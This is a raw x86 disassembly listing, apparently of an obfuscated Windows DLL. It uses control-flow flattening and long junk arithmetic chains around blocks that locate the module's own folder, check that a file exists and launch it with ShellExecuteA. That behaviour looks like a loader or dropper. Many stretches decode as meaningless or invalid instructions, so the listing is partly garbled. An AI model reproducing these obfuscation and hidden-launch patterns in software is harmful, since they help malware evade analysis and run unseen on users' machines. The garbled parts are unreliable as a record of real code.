or eax, 0xca7d3df0
imul eax, edx
add eax, ecx
sub eax, 0xa4439cb6
mov ecx, 0x33f3c69b
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x9a8211c3
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9a8211c3
or eax, 0x9a8211c3
imul eax, edx
add eax, ecx
mov edx, 0xffffffff
xor edx, 0x642d3d52
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x642d3d52
add eax, edx
sub eax, ecx
mov ecx, 0x85382f64
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0xe20d8f85
mov edx, 0xaadb3c7c
cmp esi, 0xc92333ba
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
invalid
mov esi, 0xb44ebffe
sar dword [esi], 3
adc byte [ebx], 0xdf
test eax, 0x271e1a8c
jl 0x1010b9a5
jg 0x1010b95f
jl 0x1010b954
add eax, 0x101d2614
add dword [eax], eax
add byte [eax], al
push eax
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x88], ecx
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x8c], eax
mov edx, dword [0x101cbad1]
mov dword [ecx], edx
mov edx, dword [0x101cbad5]
mov dword [ecx + 4], edx
mov dl, byte [str.___V]
mov byte [ecx + 8], dl
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x8c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov ecx, dword [ebp - 0x8c]
lea eax, [0x101c6a11]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
mov ecx, dword [ebp - 0x8c]
add esp, 8
mov eax, dword [ebp - 0x88]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
add esp, 8
call fcn.10100d10
mov eax, dword [ebp - 0x1c]
mov ecx, 0xe20d8f85
mov edx, 0x961bc262
cmp esi, 0x4b8d712c
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
add dword [eax], eax
add byte [ecx + 0x748589e0], cl
invalid
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xf0442c8d
jmp 0x1010caac
mov eax, dword [0x101cf08c]
mov edx, dword [0x101cf090]
mov ecx, edx
and ecx, eax
xor ecx, 0xffffffff
add eax, edx
add eax, 1
add eax, ecx
mov ecx, 0xc52111f9
xor edx, edx
div ecx
mov ecx, 0xb517c37d
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd6af27f1
mov esi, 0xffffffff
xor esi, 0xd6af27f1
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xd6af27f1
or eax, 0xd6af27f1
imul eax, edx
add eax, ecx
mov ecx, eax
or ecx, 0xedab967a
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xedab967a
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x206585d0
or eax, edx
mov edx, 0x206585d0
and edx, 0x206585d0
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
sub eax, 0xd604b86b
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80fe4457
and ecx, edx
or eax, 0x80fe4457
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x94], eax
mov esi, 0xffffffff
xor esi, 0xb58b5174
mov edx, 0xffffffff
xor edx, 0xbc7f52c0
and eax, 0xbc7f52c0
and ecx, edx
mov edi, esi
and edi, 0xbc7f52c0
mov ebx, edx
and ebx, 0xb58b5174
or eax, ecx
mov ecx, dword [ebp - 0x94]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xbc7f52c0
and ecx, edx
or eax, ecx
xor eax, 0x85cce3c7
mov ecx, eax
and ecx, 0x9fbefbe7
xor eax, 0x9fbefbe7
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8c5687b
and eax, edx
or ecx, 0x8c5687b
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x872c642d
xor edx, edx
div ecx
mov esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xef69c5f3
mov edx, 0xffffffff
xor edx, 0xef69c5f3
and esi, edx
mov eax, 0xffffffff
xor eax, 0xe779e2b5
and eax, 0xef69c5f3
and edx, 0xe779e2b5
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
and eax, 0xbdb6eaea
or ecx, 0xbdb6eaea
add eax, ecx
mov ecx, 0xf14f76bf
xor edx, edx
div ecx
add eax, 0x3ee836e1
add eax, 0x833ea2c8
sub eax, 0x3ee836e1
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0x7fb5642d
or eax, 0x7fb5642d
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x76808e56
mov esi, 0xffffffff
xor esi, 0x76808e56
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x76808e56
or ecx, 0x76808e56
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0xb0bf7ac0
or ecx, 0xb0bf7ac0
add eax, ecx
xor eax, 0x93d50599
imul eax, eax, 0xe50ffb3f
imul ecx, eax, 0xd4f6dbb6
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x90], eax
mov esi, 0xffffffff
xor esi, 0x3064c42e
mov edx, 0xffffffff
xor edx, 0xe1fd12c6
and eax, 0xe1fd12c6
and ecx, edx
mov edi, esi
and edi, 0xe1fd12c6
mov ebx, edx
and ebx, 0x3064c42e
or eax, ecx
mov ecx, dword [ebp - 0x90]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xe1fd12c6
and ecx, edx
or eax, ecx
imul ecx, eax, 0x8d3041d8
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9f55cd78
or eax, edx
and ecx, 0x9f55cd78
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xc9949252
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc9949252
or eax, 0xc9949252
imul eax, edx
add eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x58a593ba
and ecx, 0x58a593ba
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3d4dadd0
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x3d4dadd0
add eax, edx
sub eax, ecx
or eax, 0x48a5b902
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6b4ac168
mov esi, 0xffffffff
xor esi, 0x6b4ac168
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6b4ac168
or eax, 0x6b4ac168
imul eax, edx
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x4b228197
add eax, ecx
and eax, 0x37449dd7
imul eax, eax, 0x8bb2545
add eax, 0x32376ae7
mov ecx, eax
xor ecx, 0x709ee844
xor ecx, 0xffffffff
and ecx, 0x709ee844
shl ecx, 1
sub ecx, 0x709ee844
sub eax, ecx
add eax, 0x647cf38b
sub eax, 0xd3c88500
sub eax, 0x647cf38b
add eax, 0x8e150cbc
sub eax, 0x8c695988
sub eax, 0x8e150cbc
mov ecx, 0xf308c686
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
and esi, 0x697e0e41
sub esi, 0x753f9012
mov ecx, 0x98958eca
mov edx, 0x82e73e78
cmp esi, 0xf9a3749e
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf094]
mov edx, dword [0x101cf098]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, edx
xor edx, 0xffffffff
and eax, edx
sub eax, ecx
mov ecx, 0x24d468a2
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x9c], eax
mov esi, 0xffffffff
xor esi, 0x1ecbd82b
mov edx, 0xffffffff
xor edx, 0xa797428e
and eax, 0xa797428e
and ecx, edx
mov edi, esi
and edi, 0xa797428e
mov ebx, edx
and ebx, 0x1ecbd82b
or eax, ecx
mov ecx, dword [ebp - 0x9c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xa797428e
and ecx, edx
or eax, ecx
mov esi, 0xffffffff
xor esi, 0xaefd2069
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xaefd2069
or eax, 0xaefd2069
imul eax, edx
add eax, ecx
sub eax, 0xad1bb98b
sub eax, 0x840eb31f
add eax, 0xad1bb98b
imul eax, eax, 0x24f06313
imul eax, eax, 0x5873bb85
mov ecx, 0x14a2261f
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x1b2ac21e
sub ecx, 0xc5ad6cef
add ecx, 0x5d60c31c
add ecx, 0xc5ad6cef
mov eax, ecx
and eax, 0xe919d328
shl eax, 1
xor ecx, 0xe919d328
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x98], eax
mov esi, 0xffffffff
xor esi, 0x7afd683e
mov edx, 0xffffffff
xor edx, 0x4d705bd2
and eax, 0x4d705bd2
and ecx, edx
mov edi, esi
and edi, 0x4d705bd2
mov ebx, edx
and ebx, 0x7afd683e
or eax, ecx
mov ecx, dword [ebp - 0x98]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x4d705bd2
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xef2db3ea
or ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xef2db3ea
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
and ecx, 0xaf06819a
or ecx, 0x86f99253
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x7504cf1
mov edx, 0xffffffff
xor edx, 0x7504cf1
and ecx, edx
or eax, ecx
mov esi, 0xffffffff
xor esi, 0x5af08cd3
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x5af08cd3
or eax, 0x5af08cd3
imul eax, edx
add eax, ecx
xor eax, 0x4af3e78c
mov ecx, eax
and ecx, 0x758a6a69
shl ecx, 1
add eax, 0x758a6a69
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xab2b731
or ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xab2b731
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x6972827d
add ecx, eax
add ecx, 1
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xcfe1b34f
mov edx, 0xffffffff
xor edx, 0xcfe1b34f
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0x9979044c
or ecx, 0x9979044c
add eax, ecx
mov ecx, 0x3deddaa5
xor edx, edx
div ecx
mov ecx, 0x463b78a0
xor edx, edx
div ecx
imul ecx, eax, 0xda32fd1b
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc1184528
mov esi, 0xffffffff
xor esi, 0xc1184528
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc1184528
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, 0x3d27762
add eax, ecx
xor ecx, ecx
sub ecx, 0xe0497a3e
sub eax, ecx
sub eax, 0xee52e823
imul ecx, eax, 0x6a260c9b
or ecx, 0xfb08d889
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf9d45e68
or eax, edx
mov edx, 0xffffffff
xor edx, 0xf9d45e68
invalid
stc
mov esi, 0xffffffff
xor esi, 0xf9d45e68
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
or eax, 0x80953dd0
mov ecx, 0x7e194314
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x44]
add ecx, 0xc9e0b3e1
loope 0x1010c0e9
loopne 0x1010c101
imul ecx, ecx, 0x58792df3
imul esi, ecx, 0xfc51652d
mov ecx, esi
xor ecx, 0xd2fd2dc3
mov edx, 0xffffffff
xor edx, 0xd2fd2dc3
and esi, edx
shl esi, 1
sub esi, ecx
add esi, 0x6019e7fc
or esi, 0x7bf2cc86
inc ebp
cdq
and byte [edx], 0x81
inc esi
cmpsb byte [esi], byte es:[edi]
cwde
push ebx
outsd dx, dword [esi]
jb 0x1010c144
jb 0x1010c134
pop esp
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, dword [ebp - 0x48]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov ecx, 0x57c8c7a8
mov edx, 0x82e73e78
cmp esi, 0x4b88eade
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x4864d385
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
pop ebx
jg 0x1010c1ea
jecxz 0x1010c1e1
xchg esp, eax
into
add ah, byte [esi - 0x381ac038]
add byte [esi], al
test al, 0x84
cwde
jmp 0x1010caac
mov eax, dword [0x101cf09c]
xor edx, edx
div dword [0x101cf0a0]
xor eax, 0x989abdf7
sub eax, 0x3b5589f8
mov ebp, 0xf82d989a
mov dword [ebp + 0x3b], edx
mov ecx, 0x3fa851bc
xor edx, edx
div ecx
mov esp, 0x313fa851
sal bh, cl
int1
mov ecx, 0xa286faa2
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0xe9605a9f
xor eax, 0xffffffff
add ecx, 0xe9605a9f
add ecx, 1
add ecx, eax
add ecx, 0x5163aea5
add ecx, 0x87de96f8
sub ecx, 0x5163aea5
mov eax, ecx
and eax, 0x6ca928ae
xor ecx, 0x6ca928ae
or eax, ecx
mov ecx, 0x6d87fd48
xor edx, edx
div ecx
sub eax, 0x4ad7cdb2
add eax, 0xcb1790c9
mov ecx, eax
xor ecx, 0xa77cc268
xor ecx, 0xffffffff
or eax, 0xa77cc268
and eax, ecx
mov ecx, 0x32d2c46e
xor edx, edx
div ecx
sub eax, 0x3211f140
sub eax, 0x34200c85
add eax, 0x3211f140
imul eax, eax, 0x43d189d8
or eax, 0x4b4d3632
and eax, 0xc8efb3ce
and eax, 0xa456d3a
add eax, 0xa1d551f1
and eax, 0x7005bee6
add eax, 0xb467c712
mov ecx, eax
and ecx, 0x13221d28
shl ecx, 1
xor eax, 0x13221d28
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xc09bc10f
mov edx, 0xffffffff
xor edx, 0xc09bc10f
and eax, edx
sub eax, ecx
add eax, 0x52f7e37e
or eax, 0xafbfcf85
or eax, 0xe361cf5
mov ecx, 0x18ab5c39
xor edx, edx
div ecx
mov edx, 0xffffffff
xor edx, 0x49b32ee2
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x49b32ee2
add eax, edx
sub eax, ecx
mov ecx, 0xe02ab632
xor edx, edx
div ecx
and eax, 0x94026ea7
mov ecx, 0x77b543c8
xor edx, edx
div ecx
mov ecx, eax
xor eax, eax
sub eax, 0x1ada5427
add ecx, eax
mov eax, ecx
xor eax, 0xb3cb7a45
mov edx, 0xffffffff
xor edx, 0xb3cb7a45
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5b8e77e
or eax, edx
mov edx, 0xffffffff
xor edx, 0x5b8e77e
mov esi, 0xffffffff
xor esi, 0x5b8e77e
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
add eax, 0x93d2340f
mov ecx, eax
and ecx, 0xf0944429
xor ecx, 0xffffffff
add eax, 0xf0944429
add eax, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xd536890e
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0xb4896d18
mov esi, 0xffffffff
xor esi, 0x778c192
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x778c192
or eax, 0x778c192
imul eax, edx
add eax, ecx
mov ecx, 0xb5a45eb0
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, esi
and ecx, 0x8c38122f
shl ecx, 1
add esi, 0x8c38122f
sub esi, ecx
mov ecx, 0x4b1745c8
mov edx, 0xc296d3ea
cmp esi, 0xb42f1275
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf0a4]
sub eax, dword [0x101cf0a8]
mov ecx, 0x8978dacb
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x2bc42401
mov eax, ecx
and eax, 0x9615adc9
or ecx, 0x9615adc9
add eax, ecx
mov ecx, eax
xor ecx, 0x387a9c1f
xor ecx, 0xffffffff
or eax, 0x387a9c1f
and eax, ecx
and eax, 0xb51edbf7
mov ecx, 0x156dcadf
xor edx, edx
div ecx
mov esi, eax
and esi, 0xb99f73e1
xor eax, 0xb99f73e1
or esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xdc41f17
mov edx, 0xffffffff
xor edx, 0xdc41f17
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xb413e1
and ecx, 0xdc41f17
and edx, 0xb413e1
or eax, esi
or ecx, edx
xor eax, ecx
or eax, 0xb1dcf181
mov ecx, 0xb92dc1dd
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xe6cf0709
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x25eb2621
mov edx, 0xffffffff
xor edx, 0x25eb2621
and ecx, edx
or eax, ecx
mov ecx, 0x973810e1
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x44]
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xe4583d62
mov esi, 0xffffffff
xor esi, 0xe4583d62
and ecx, esi
sub ecx, edx
mov edx, ecx
xor edx, 0xffffffff
xor ecx, 0xffffffff
and edx, ecx
mov ecx, 0xffffffff
xor ecx, 0x662cbdda
mov esi, 0xffffffff
xor esi, 0x662cbdda
and ecx, esi
or edx, ecx
xor edx, 0xffffffff
and edx, 0xdec98c1a
xor edx, 0x245fafff
mov esi, edx
xor esi, 0xffffffff
and esi, 0xd297e0ff
mov edi, 0xffffffff
xor edi, 0xd297e0ff
mov ecx, edx
and ecx, edi
imul ecx, esi
mov esi, edx
and esi, 0xd297e0ff
or edx, 0xd297e0ff
imul edx, esi
add edx, ecx
and edx, 0x4b6987ee
add edx, 0x34eab20b
xor ecx, ecx
sub ecx, 0xaec02262
sub edx, ecx
mov ecx, edx
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xe533b146
or ecx, esi
mov esi, 0xe533b146
and esi, 0xe533b146
xor esi, 0xffffffff
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
sub ecx, 0xaaa0893f
add ecx, 0x73ebb483
xor edx, edx
sub edx, 0x2c49212b
sub ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x5cc333ad
mov edi, 0xffffffff
xor edi, 0x5cc333ad
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0x5cc333ad
or ecx, 0x5cc333ad
imul ecx, esi
add ecx, edx
imul edx, ecx, 0x60d6c881
xor edx, 0xad84645d
and edx, 0xc37c0ec2
add edx, 0xf1e1062c
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
mov edx, 0xba936a81
and edx, 0xba936a81
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
imul ecx, ecx, 0xa1d3d5ed
mov edx, 0xffffffff
xor edx, 0x235d5185
xor esi, esi
sub esi, 1
sub edx, esi
sub ecx, edx
mov edx, ecx
xor edx, 0xffffffff
xor ecx, 0xffffffff
or edx, ecx
mov ecx, 0xffffffff
xor ecx, 0x90e7f3d0
mov esi, 0xffffffff
xor esi, 0x90e7f3d0
or ecx, esi
xor edx, 0xffffffff
xor ecx, 0xffffffff
or edx, ecx
mov ecx, edx
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x1bf0ba44
or ecx, esi
mov esi, 0xffffffff
xor esi, 0x1bf0ba44
mov edi, 0xffffffff
xor edi, 0x1bf0ba44
or esi, edi
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
xor ecx, 0xc802d2c
add ecx, 0x204f0af
add ecx, 0xfd0a574a
or ecx, 0xee08de7d
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xa54f4425
mov edx, 0xffffffff
xor edx, 0xa54f4425
and ecx, edx
or esi, ecx
jmp 0x924b07fd
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x4abf57cf
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
xor dword [eax], 0xffffffae
arpl word [edx + 0x22], bx
hlt
add byte [ebx - 0x2571bbb], cl
mov eax, dword [ebp - 0x1c]
test al, 0xfd
lds edx, [ebp + 0x72]
out dx, eax
dec esi
test al, 0x3a
xchg ecx, eax
outsd dx, dword [esi]
mov es, edi
add cl, bl
aam 0x6b
jle 0x1010c770
mov dword [eax], 0x7e6bd4d9
jmp 0x1010caac
and dword [ebx], eax
add byte [eax], al
mov eax, dword [ebp - 0x1c]
stosd dword es:[edi], eax
and al, 0xb2
mov eax, 0x6a1a922c
pop ecx
imul byte [edx]
push ebx
cwde
retf
mov eax, dword [ebp - 0x1c]
mov ebx, 0xe6875d99
dec ebp
pop ds
jnp 0x1010c780
leave
sar byte [ebx - 0xf29ff39], cl
int 0x7d
jmp 0x1010caac
mov eax, dword [ebp - 0x44]
mov esp, 0x40f88188
imul ebp, dword [esi - 0x60], 0xa4312c26
sub esp, 4
mov dword [esp], eax
call fcn.101b3ee4
add esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x6afb2e6c
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
push es
cmp esp, esi
jecxz 0x1010c79a
jle 0x1010c837
dec ecx
and eax, 0xc7ef3657
add byte [0xe9579a5c], cl
movsb byte es:[edi], byte [esi]
add al, byte [eax]
add byte [ebx - 0x6dae1bbb], cl
mov eax, dword [ebp - 0x1c]
push ecx
xchg edx, eax
mov ecx, 0x76cfa6ff
stosd dword es:[edi], eax
stosb byte es:[edi], al
arpl word [esi + ecx*8], cx
xor eax, 0xc75f7a7b
add byte [ecx + 0x7a], dl
ficom dword [esi - 0x17]
xchg byte [edx], al
add byte [eax], al
mov eax, dword [ebp - 0x44]
ret
lea ecx, str.open
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 4
mov dword [esp], 1
call fcn.100518d0
add esp, 4
mov ecx, eax
mov eax, 0x1770
cdq
idiv ecx
sub esp, 4
mov dword [esp], eax
call fcn.100518d0
add esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x13b4521c
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov cl, 0x4a
loope 0x1010c8f4
or eax, 0x4ffe935b
jne 0x1010c8c4
mov dword [eax], 0x81f1e924
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
dec esi
inc ebp
in al, 0x4e
aam 0
aam 0
mov bh, byte [edi - 0x7aef9bbd]
retf 0xc74e
add byte [eax], al
mov eax, dword [ebp - 0x1c]
add edi, dword [ebx + 0x7d]
and dword [edi + 0x65], edi
insb byte es:[edi], dx
lcall 0x4a5d, 0x5ecb9c1b
xchg edx, eax
mov ebp, 0xd269df2d
fild qword [ecx - 0x2e]
mov cl, 0x75
xchg ecx, eax
fnsave dword [ebx - 0x74df5e5d]
or eax, 0x101d2614
mov bl, 0xa3
mov eax, dword [0x140d8b20]
sbb eax, 0x5100c710
jns 0x1010c8c0
mov ecx, dword [0x101d2614]
mov dword [eax], 0xebd7951
push cs
jmp 0x1010caac
mov bl, 0xeb
jo 0x1010c8d7
sub byte [eax + 0xc07b465], ch
cmp dword [edi], edx
sar dword [esi], 3
adc byte [ebx], 0xdf
test eax, 0x271e1a8c
jl 0x1010c93e
jg 0x1010c8f8
jl 0x1010c8ed
add eax, 0x101d2614
add dword [eax], eax
add byte [eax], al
push eax
sub esp, 8
mov ecx, esp
mov dword [ebp - 0xa0], ecx
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0xa4], eax
mov edx, dword [0x101cbad1]
mov dword [ecx], edx
mov edx, dword [0x101cbad5]
mov dword [ecx + 4], edx
mov dl, byte [str.___V]
mov byte [ecx + 8], dl
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
add dword [eax], eax
add byte [ecx + 0x5c8589e0], cl
invalid
add byte [ecx - 0x38fbdbbc], cl
inc esp
and al, 8
add al, 1
add byte [eax], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0xa4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov ecx, dword [ebp - 0xa4]
lea eax, [0x101c6a11]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
mov ecx, dword [ebp - 0xa4]
add esp, 8
mov eax, dword [ebp - 0xa0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b40f0
add esp, 8
call fcn.10100d10
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xe20d8f85
jmp 0x1010caac
mov eax, dword [ebp - 0x44]
add al, 0xe2
pop ebx
into
out dx, al
jo 0x1010c96e
jmp 0x1010ca2f
mov eax, dword [ebp - 0x44]
scasd eax, dword es:[edi]
cwde
cwde
pmullw mm1, qword [ecx]
mov bl, byte [ecx - 0x3f747318]
jmp 0x924b0b78
jmp 0x10105cd2